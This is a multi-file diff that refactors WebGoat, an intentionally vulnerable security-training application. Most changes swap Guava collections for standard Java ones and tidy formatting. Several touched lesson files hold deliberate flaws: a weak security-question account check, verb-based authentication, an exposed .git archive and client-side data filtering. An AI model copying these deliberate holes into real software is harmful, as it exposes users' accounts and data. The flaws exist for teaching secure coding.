* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.service;
import lombok.AllArgsConstructor;
@ -100,15 +101,7 @@ public class LessonMenuService {
return menu;
}
/**
* This determines if the lesson is complete based on data in the database
* and the list of assignments actually linked to the existing current lesson.
* This way older removed assignments will not prevent a lesson from being completed.
* @param map
* @param currentLesson
* @return
*/
private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
boolean result = true;
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {

View File

@ -27,6 +27,7 @@
* for free software projects.
*
*/
package org.owasp.webgoat.service;
import org.owasp.webgoat.session.WebSession;

View File

@ -1,7 +1,5 @@
package org.owasp.webgoat.service;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import lombok.AllArgsConstructor;
import lombok.Getter;
import org.owasp.webgoat.lessons.Lesson;
@ -16,6 +14,7 @@ import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@ -40,14 +39,14 @@ public class LessonProgressService {
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
@ResponseBody
public Map getLessonInfo() {
Map json = Maps.newHashMap();
Map json = new HashMap();
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
if (webSession.getCurrentLesson() != null) {
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
String successMessage = "";
boolean lessonCompleted = false;
if (lessonTracker != null) {
lessonCompleted = lessonCompleted(lessonTracker.getLessonOverview(),webSession.getCurrentLesson());
lessonCompleted = isLessonComplete(lessonTracker.getLessonOverview(), webSession.getCurrentLesson());
successMessage = "LessonCompleted"; //@todo we still use this??
}
json.put("lessonCompleted", lessonCompleted);
@ -67,8 +66,8 @@ public class LessonProgressService {
public List<LessonOverview> lessonOverview() {
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
Lesson currentLesson = webSession.getCurrentLesson();
List<LessonOverview> result = Lists.newArrayList();
if ( currentLesson != null ) {
List<LessonOverview> result = new ArrayList<>();
if (currentLesson != null) {
LessonTracker lessonTracker = userTracker.getLessonTracker(currentLesson);
result = toJson(lessonTracker.getLessonOverview(), currentLesson);
}
@ -78,45 +77,38 @@ public class LessonProgressService {
private List<LessonOverview> toJson(Map<Assignment, Boolean> map, Lesson currentLesson) {
List<LessonOverview> result = new ArrayList();
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
Assignment storedAssignment = entry.getKey();
for (Assignment lessonAssignment: currentLesson.getAssignments()) {
if (lessonAssignment.getName().equals(storedAssignment.getName())
&& !lessonAssignment.getPath().equals(storedAssignment.getPath())) {
//here a stored path in the assignments table will be corrected for the JSON output
//with the value of the actual expected path
storedAssignment.setPath(lessonAssignment.getPath());
result.add(new LessonOverview(storedAssignment, entry.getValue()));
break;
} else if (lessonAssignment.getName().equals(storedAssignment.getName())) {
result.add(new LessonOverview(storedAssignment, entry.getValue()));
break;
}
}
//assignments not in the list will not be put in the lesson progress JSON output
Assignment storedAssignment = entry.getKey();
for (Assignment lessonAssignment : currentLesson.getAssignments()) {
if (lessonAssignment.getName().equals(storedAssignment.getName())
&& !lessonAssignment.getPath().equals(storedAssignment.getPath())) {
//here a stored path in the assignments table will be corrected for the JSON output
//with the value of the actual expected path
storedAssignment.setPath(lessonAssignment.getPath());
result.add(new LessonOverview(storedAssignment, entry.getValue()));
break;
} else if (lessonAssignment.getName().equals(storedAssignment.getName())) {
result.add(new LessonOverview(storedAssignment, entry.getValue()));
break;
}
}
//assignments not in the list will not be put in the lesson progress JSON output
}
return result;
}
/**
* Get the lesson completed based on Assignment data from the database
* while ignoring assignments no longer in the application.
* @param map
* @param currentLesson
* @return
*/
private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
private boolean isLessonComplete(Map<Assignment, Boolean> map, Lesson currentLesson) {
boolean result = true;
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
Assignment storedAssignment = entry.getKey();
for (Assignment lessonAssignment: currentLesson.getAssignments()) {
if (lessonAssignment.getName().equals(storedAssignment.getName())) {
result = result && entry.getValue();
break;
}
}
Assignment storedAssignment = entry.getKey();
for (Assignment lessonAssignment : currentLesson.getAssignments()) {
if (lessonAssignment.getName().equals(storedAssignment.getName())) {
result = result && entry.getValue();
break;
}
}
}
return result;
}

View File

@ -1,65 +0,0 @@
/**
* *************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
*/
package org.owasp.webgoat.service;
import com.google.common.collect.Lists;
import org.owasp.webgoat.lessons.RequestParameter;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpSession;
import java.util.Collections;
import java.util.List;
/**
* <p>ParameterService class.</p>
*
* @author rlawson
* @version $Id: $Id
*/
@Controller
public class ParameterService {
/**
* Returns request parameters for last attack
*
* @param session a {@link javax.servlet.http.HttpSession} object.
* @return a {@link java.util.List} object.
*/
@RequestMapping(path = "/service/parameter.mvc", produces = "application/json")
public @ResponseBody
List<RequestParameter> showParameters(HttpSession session) {
//// TODO: 11/6/2016 to decide not sure about the role in WebGoat 8
List<RequestParameter> listParms = Lists.newArrayList();
Collections.sort(listParms);
return listParms;
}
}

View File

@ -1,32 +1,32 @@
/**
* *************************************************************************************************
*
*
* <p>
* <p>
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* <p>
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* <p>
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* <p>
* Getting Source ==============
*
* <p>
* Source for this application is maintained at
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*
*/
package org.owasp.webgoat.service;
import org.springframework.http.HttpStatus;
@ -46,6 +46,7 @@ import java.util.Map;
* @author nbaars
* @version $Id: $Id
*/
//TODO REMOVE?
@Controller
public class PluginReloadService {
@ -58,15 +59,6 @@ public class PluginReloadService {
@RequestMapping(path = "/service/reloadplugins.mvc", produces = MediaType.APPLICATION_JSON_VALUE)
public @ResponseBody
ResponseEntity<Map<String, Object>> reloadPlugins(HttpSession session) {
// WebSession webSession = (WebSession) session.getAttribute(WebSession.SESSION);
//
// logger.debug("Loading plugins into cache");
// String pluginPath = session.getServletContext().getRealPath("plugin_lessons");
// String targetPath = session.getServletContext().getRealPath("plugin_extracted");
// //TODO fix me
// //new PluginsLoader(Paths.get(pluginPath), Paths.get(targetPath)).copyJars();
// //webSession.getCourse().createLessonsFromPlugins();
Map<String, Object> result = new HashMap<String, Object>();
result.put("success", true);
result.put("message", "Plugins reloaded");

View File

@ -26,9 +26,9 @@
* Source for this application is maintained at
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.service;
import com.google.common.collect.Lists;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.Setter;
@ -43,6 +43,7 @@ import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.ArrayList;
import java.util.List;
/**
@ -66,14 +67,14 @@ public class ReportCardService {
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
@ResponseBody
public ReportCard reportCard() {
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
var lessons = course.getLessons();
ReportCard reportCard = new ReportCard();
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved());
reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved());
for (Lesson lesson : lessons) {
for (Lesson lesson : course.getLessons()) {
LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
LessonStatistics lessonStatistics = new LessonStatistics();
lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
@ -93,7 +94,7 @@ public class ReportCardService {
private int solvedLessons;
private int numberOfAssignmentsSolved;
private int numberOfLessonsSolved;
private List<LessonStatistics> lessonStatistics = Lists.newArrayList();
private List<LessonStatistics> lessonStatistics = new ArrayList<>();
}
@Setter

View File

@ -21,6 +21,7 @@
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*/
package org.owasp.webgoat.service;
import lombok.AllArgsConstructor;

View File

@ -3,6 +3,7 @@
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package org.owasp.webgoat.service;
import org.springframework.stereotype.Controller;

View File

@ -1,16 +1,12 @@
package org.owasp.webgoat.users;
import com.google.common.collect.Sets;
import lombok.Getter;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Assignment;
import javax.persistence.*;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.Set;
import java.util.*;
import java.util.stream.Collectors;
@ -53,9 +49,9 @@ public class LessonTracker {
@Getter
private String lessonName;
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private final Set<Assignment> solvedAssignments = Sets.newHashSet();
private final Set<Assignment> solvedAssignments = new HashSet<>();
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private final Set<Assignment> allAssignments = Sets.newHashSet();
private final Set<Assignment> allAssignments = new HashSet<>();
@Getter
private int numberOfAttempts = 0;

View File

@ -10,6 +10,7 @@ import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.PostMapping;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.validation.Valid;
@ -32,8 +33,7 @@ public class RegistrationController {
}
@PostMapping("/register.mvc")
@SneakyThrows
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) {
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) throws ServletException {
userValidator.validate(userForm, bindingResult);
if (bindingResult.hasErrors()) {

View File

@ -1,6 +1,5 @@
package org.owasp.webgoat.users;
import com.google.common.collect.Lists;
import lombok.AllArgsConstructor;
import lombok.Getter;
import org.owasp.webgoat.i18n.PluginMessages;
@ -8,6 +7,7 @@ import org.owasp.webgoat.session.Course;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.ArrayList;
import java.util.List;
import java.util.stream.Collectors;
@ -36,7 +36,7 @@ public class Scoreboard {
@GetMapping("/scoreboard-data")
public List<Ranking> getRankings() {
List<WebGoatUser> allUsers = userRepository.findAll();
List<Ranking> rankings = Lists.newArrayList();
List<Ranking> rankings = new ArrayList<>();
for (WebGoatUser user : allUsers) {
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
@ -45,7 +45,7 @@ public class Scoreboard {
}
private List<String> challengesSolved(UserTracker userTracker) {
List<String> challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
List<String> challenges = List.of("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
return challenges.stream()
.map(c -> userTracker.getLessonTracker(c))
.filter(l -> l.isPresent()).map(l -> l.get())

View File

@ -16,14 +16,14 @@ import javax.validation.constraints.Size;
public class UserForm {
@NotNull
@Size(min=6, max=45)
@Size(min = 6, max = 45)
@Pattern(regexp = "[a-z0-9-]*", message = "can only contain lowercase letters, digits, and -")
private String username;
@NotNull
@Size(min=6, max=10)
@Size(min = 6, max = 10)
private String password;
@NotNull
@Size(min=6, max=10)
@Size(min = 6, max = 10)
private String matchingPassword;
@NotNull
private String agree;

View File

@ -36,7 +36,7 @@ public class UserService implements UserDetailsService {
userRepository.save(new WebGoatUser(username, password));
//if user previously existed it will not get another tracker
if (webGoatUser == null) {
userTrackerRepository.save(new UserTracker(username));
userTrackerRepository.save(new UserTracker(username));
}
}
@ -44,14 +44,14 @@ public class UserService implements UserDetailsService {
//get user if there exists one by the name
WebGoatUser webGoatUser = userRepository.findByUsername(username);
//if user exists it will be updated, otherwise created
userRepository.save(new WebGoatUser(username,password,role));
userRepository.save(new WebGoatUser(username, password, role));
//if user previously existed it will not get another tracker
if (webGoatUser == null) {
userTrackerRepository.save(new UserTracker(username));
userTrackerRepository.save(new UserTracker(username));
}
}
public List<WebGoatUser> getAllUsers () {
public List<WebGoatUser> getAllUsers() {
return userRepository.findAll();
}

View File

@ -1,12 +1,12 @@
package org.owasp.webgoat.users;
import com.google.common.collect.Sets;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Assignment;
import javax.persistence.*;
import java.util.HashSet;
import java.util.Map;
import java.util.Optional;
import java.util.Set;
@ -53,7 +53,7 @@ public class UserTracker {
@Column(name = "username")
private String user;
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private Set<LessonTracker> lessonTrackers = Sets.newHashSet();
private Set<LessonTracker> lessonTrackers = new HashSet<>();
private UserTracker() {}

View File

@ -16,8 +16,8 @@ public class UserValidator implements Validator {
private final UserRepository userRepository;
@Override
public boolean supports(Class<?> aClass) {
return UserForm.class.equals(aClass);
public boolean supports(Class<?> clazz) {
return UserForm.class.equals(clazz);
}
@Override

View File

@ -1,9 +1,8 @@
package org.owasp.webgoat.session;
import com.google.common.collect.Lists;
import org.junit.Test;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.lessons.Lesson;
import org.owasp.webgoat.users.LessonTracker;
import java.util.List;
@ -48,7 +47,7 @@ public class LessonTrackerTest {
@Test
public void allAssignmentsSolvedShouldMarkLessonAsComplete() {
Lesson lesson = mock(Lesson.class);
when(lesson.getAssignments()).thenReturn(Lists.newArrayList(new Assignment("assignment", "assignment", List.of(""))));
when(lesson.getAssignments()).thenReturn(List.of(new Assignment("assignment", "assignment", List.of(""))));
LessonTracker lessonTracker = new LessonTracker(lesson);
lessonTracker.assignmentSolved("assignment");
@ -60,7 +59,7 @@ public class LessonTrackerTest {
Lesson lesson = mock(Lesson.class);
Assignment a1 = new Assignment("a1");
Assignment a2 = new Assignment("a2");
List<Assignment> assignments = Lists.newArrayList(a1, a2);
List<Assignment> assignments = List.of(a1, a2);
when(lesson.getAssignments()).thenReturn(assignments);
LessonTracker lessonTracker = new LessonTracker(lesson);
lessonTracker.assignmentSolved("a1");
@ -74,7 +73,7 @@ public class LessonTrackerTest {
public void solvingSameAssignmentShouldNotAddItTwice() {
Lesson lesson = mock(Lesson.class);
Assignment a1 = new Assignment("a1");
List<Assignment> assignments = Lists.newArrayList(a1);
List<Assignment> assignments = List.of(a1);
when(lesson.getAssignments()).thenReturn(assignments);
LessonTracker lessonTracker = new LessonTracker(lesson);
lessonTracker.assignmentSolved("a1");

View File

@ -6,7 +6,7 @@ import org.mockito.Mock;
import org.mockito.junit.MockitoJUnitRunner;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import static org.mockito.Matchers.any;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.when;
@RunWith(MockitoJUnitRunner.class)

View File

@ -31,29 +31,31 @@ import java.util.Map;
public class AccountVerificationHelper {
//simulating database storage of verification credentials
private static final Integer verifyUserId = 1223445;
private static final Map<String,String> userSecQuestions = new HashMap<>();
private static final Integer verifyUserId = 1223445;
private static final Map<String, String> userSecQuestions = new HashMap<>();
static {
userSecQuestions.put("secQuestion0","Dr. Watson");
userSecQuestions.put("secQuestion1","Baker Street");
userSecQuestions.put("secQuestion0", "Dr. Watson");
userSecQuestions.put("secQuestion1", "Baker Street");
}
private static final Map<Integer,Map> secQuestionStore = new HashMap<>();
private static final Map<Integer, Map> secQuestionStore = new HashMap<>();
static {
secQuestionStore.put(verifyUserId,userSecQuestions);
secQuestionStore.put(verifyUserId, userSecQuestions);
}
// end 'data store set up'
// this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code
public boolean didUserLikelylCheat(HashMap<String,String> submittedAnswers) {
public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {
boolean likely = false;
if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
likely = true;
}
if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) &&
(submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) ) {
if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0")))
&& (submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) {
likely = true;
} else {
likely = false;
@ -64,7 +66,7 @@ public class AccountVerificationHelper {
}
//end of cheating check ... the method below is the one of real interest. Can you find the flaw?
public boolean verifyAccount(Integer userId, HashMap<String,String> submittedQuestions ) {
public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
//short circuit if no questions are submitted
if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
return false;

View File

@ -68,7 +68,7 @@ public class VerifyAccount extends AssignmentEndpoint {
}
// else
if (verificationHelper.verifyAccount(new Integer(userId), (HashMap) submittedAnswers)) {
if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)) {
userSessionData.setValue("account-verified-id", userId);
return trackProgress(success()
.feedback("verify-account.success")

View File

@ -35,24 +35,18 @@ public class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint {
@PostMapping("/BypassRestrictions/FieldRestrictions")
@ResponseBody
public AttackResult completed(@RequestParam String select, @RequestParam String radio, @RequestParam String checkbox, @RequestParam String shortInput) {
if (select.equals("option1") || select.equals("option2")) {
return trackProgress(failed().build());
}
if (radio.equals("option1") || radio.equals("option2")) {
return trackProgress(failed().build());
}
if (checkbox.equals("on") || checkbox.equals("off")) {
return trackProgress(failed().build());
}
if (shortInput.length() <= 5) {
return trackProgress(failed().build());
}
/*if (disabled == null) {
return trackProgress(failed().build());
}
if (submit.toString().equals("submit")) {
return trackProgress(failed().build());
}*/
if (select.equals("option1") || select.equals("option2")) {
return trackProgress(failed().build());
}
if (radio.equals("option1") || radio.equals("option2")) {
return trackProgress(failed().build());
}
if (checkbox.equals("on") || checkbox.equals("off")) {
return trackProgress(failed().build());
}
if (shortInput.length() <= 5) {
return trackProgress(failed().build());
}
return trackProgress(success().build());
}
}

View File

@ -36,13 +36,13 @@ public class BypassRestrictionsFrontendValidation extends AssignmentEndpoint {
@PostMapping("/BypassRestrictions/frontendValidation")
@ResponseBody
public AttackResult completed(@RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7, @RequestParam Integer error) {
String regex1 = "^[a-z]{3}$";
String regex2 = "^[0-9]{3}$";
String regex3 = "^[a-zA-Z0-9 ]*$";
String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";
String regex5 = "^\\d{5}$";
String regex6 = "^\\d{5}(-\\d{4})?$";
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";
final String regex1 = "^[a-z]{3}$";
final String regex2 = "^[0-9]{3}$";
final String regex3 = "^[a-zA-Z0-9 ]*$";
final String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";
final String regex5 = "^\\d{5}$";
final String regex6 = "^\\d{5}(-\\d{4})?$";
final String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";
if (error > 0) {
return trackProgress(failed().build());
}

View File

@ -22,7 +22,6 @@
package org.owasp.webgoat.challenges;
import com.google.common.collect.Maps;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.extern.slf4j.Slf4j;
@ -40,6 +39,7 @@ import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.annotation.PostConstruct;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;
import java.util.stream.IntStream;
@ -52,7 +52,7 @@ import java.util.stream.IntStream;
@RestController
public class Flag {
public static final Map<Integer, String> FLAGS = Maps.newHashMap();
public static final Map<Integer, String> FLAGS = new HashMap<>();
@Autowired
private UserTrackerRepository userTrackerRepository;
@Autowired
@ -71,7 +71,7 @@ public class Flag {
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
}
@RequestMapping(path="/challenge/flag", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_VALUE)
@RequestMapping(path = "/challenge/flag", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult postFlag(@RequestParam String flag) {
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());

View File

@ -31,14 +31,14 @@ import static org.owasp.webgoat.challenges.Flag.FLAGS;
@Slf4j
public class Assignment7 extends AssignmentEndpoint {
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
"<a target='_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password." +
"\n \n\n" +
"If you did not request this password change you can ignore this message." +
"\n" +
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
"\n\n" +
"Kind regards, \nTeam WebGoat";
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this "
+ "<a target='_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password."
+ "\n \n\n"
+ "If you did not request this password change you can ignore this message."
+ "\n"
+ "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org"
+ "\n\n"
+ "Kind regards, \nTeam WebGoat";
@Autowired
private RestTemplate restTemplate;
@ -48,9 +48,9 @@ public class Assignment7 extends AssignmentEndpoint {
@GetMapping("/challenge/7/reset-password/{link}")
public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {
if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) {
return ResponseEntity.accepted().body("<h1>Success!!</h1>" +
"<img src='/WebGoat/images/hi-five-cat.jpg'>" +
"<br/><br/>Here is your flag: " + "<b>" + FLAGS.get(7) + "</b>");
return ResponseEntity.accepted().body("<h1>Success!!</h1>"
+ "<img src='/WebGoat/images/hi-five-cat.jpg'>"
+ "<br/><br/>Here is your flag: " + "<b>" + FLAGS.get(7) + "</b>");
}
return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT).body("That is not the reset link for admin");
}
@ -76,7 +76,6 @@ public class Assignment7 extends AssignmentEndpoint {
@GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
@ResponseBody
@SneakyThrows
public ClassPathResource git() {
return new ClassPathResource("challenge7/git.zip");
}

View File

@ -20,7 +20,7 @@ public class PasswordResetLink {
}
public static String scramble(Random random, String inputString) {
char a[] = inputString.toCharArray();
char[] a = inputString.toCharArray();
for (int i = 0; i < a.length; i++) {
int j = random.nextInt(a.length);
char temp = a[i];

View File

@ -1,6 +1,5 @@
package org.owasp.webgoat.challenges.challenge8;
import com.google.common.collect.Maps;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.challenges.Flag;
@ -24,7 +23,7 @@ import java.util.stream.Collectors;
@Slf4j
public class Assignment8 extends AssignmentEndpoint {
private static final Map<Integer, Integer> votes = Maps.newHashMap();
private static final Map<Integer, Integer> votes = new HashMap<>();
static {
votes.put(1, 400);
@ -40,9 +39,7 @@ public class Assignment8 extends AssignmentEndpoint {
//Simple implementation of VERB Based Authentication
String msg = "";
if (request.getMethod().equals("GET")) {
HashMap<String, Object> json = Maps.newHashMap();
json.put("error", true);
json.put("message", "Sorry but you need to login first in order to vote");
var json = Map.of("error", true, "message", "Sorry but you need to login first in order to vote");
return ResponseEntity.status(200).body(json);
}
Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
@ -59,8 +56,7 @@ public class Assignment8 extends AssignmentEndpoint {
public ResponseEntity<Map<String, Integer>> average() {
int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum();
int categories = votes.entrySet().stream().mapToInt(e -> e.getKey() * e.getValue()).reduce(0, (a, b) -> a + b);
Map json = Maps.newHashMap();
json.put("average", (int) Math.ceil((double) categories / totalNumberOfVotes));
var json = Map.of("average", (int) Math.ceil((double) categories / totalNumberOfVotes));
return ResponseEntity.ok(json);
}
}

View File

@ -37,8 +37,8 @@ public class ClientSideFilteringAssignment extends AssignmentEndpoint {
@PostMapping("/clientSideFiltering/attack1")
@ResponseBody
public AttackResult completed(@RequestParam String answer) {
return trackProgress("450000".equals(answer) ?
success().feedback("assignment.solved").build() :
return trackProgress("450000".equals(answer)
? success().feedback("assignment.solved").build() :
failed().feedback("ClientSideFiltering.incorrect").build());
}
}

View File

@ -22,12 +22,6 @@
package org.owasp.webgoat.client_side_filtering;
/**
*
*/
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import lombok.SneakyThrows;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.io.ClassPathResource;
@ -48,6 +42,8 @@ import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@ -57,14 +53,17 @@ public class Salaries { // {extends Endpoint {
private String webGoatHomeDirectory;
@PostConstruct
@SneakyThrows
public void copyFiles() {
ClassPathResource classPathResource = new ClassPathResource("employees.xml");
File targetDirectory = new File(webGoatHomeDirectory, "/ClientSideFiltering");
if (!targetDirectory.exists()) {
targetDirectory.mkdir();
}
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "employees.xml")));
try {
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "employees.xml")));
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@RequestMapping(produces = {"application/json"})
@ -73,7 +72,7 @@ public class Salaries { // {extends Endpoint {
NodeList nodes = null;
File d = new File(webGoatHomeDirectory, "ClientSideFiltering/employees.xml");
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
XPath path = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
StringBuffer sb = new StringBuffer();
@ -87,16 +86,16 @@ public class Salaries { // {extends Endpoint {
String expression = sb.toString();
try {
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
nodes = (NodeList) path.evaluate(expression, inputSource, XPathConstants.NODESET);
} catch (XPathExpressionException e) {
e.printStackTrace();
}
int COLUMNS = 5;
List json = Lists.newArrayList();
java.util.Map<String, Object> employeeJson = Maps.newHashMap();
int columns = 5;
List json = new ArrayList();
java.util.Map<String, Object> employeeJson = new HashMap<>();
for (int i = 0; i < nodes.getLength(); i++) {
if (i % COLUMNS == 0) {
employeeJson = Maps.newHashMap();
if (i % columns == 0) {
employeeJson = new HashMap<>();
json.add(employeeJson);
}
Node node = nodes.item(i);
@ -104,11 +103,4 @@ public class Salaries { // {extends Endpoint {
}
return json;
}
// @Override
// public String getPath() {
// return "/clientSideFiltering/salaries";
// }
}

View File

@ -22,13 +22,14 @@
package org.owasp.webgoat.xss;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
//@RestController
@Deprecated
@ -48,8 +49,8 @@ public class CrossSiteScriptingLesson3 extends AssignmentEndpoint {
String[] lines = unescapedString.split("<html>");
String include = (lines[0]);
String first_name_element = doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)").first().text();
String last_name_element = doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)").first().text();
String fistNameElement = doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)").first().text();
String lastNameElement = doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)").first().text();
Boolean includeCorrect = false;
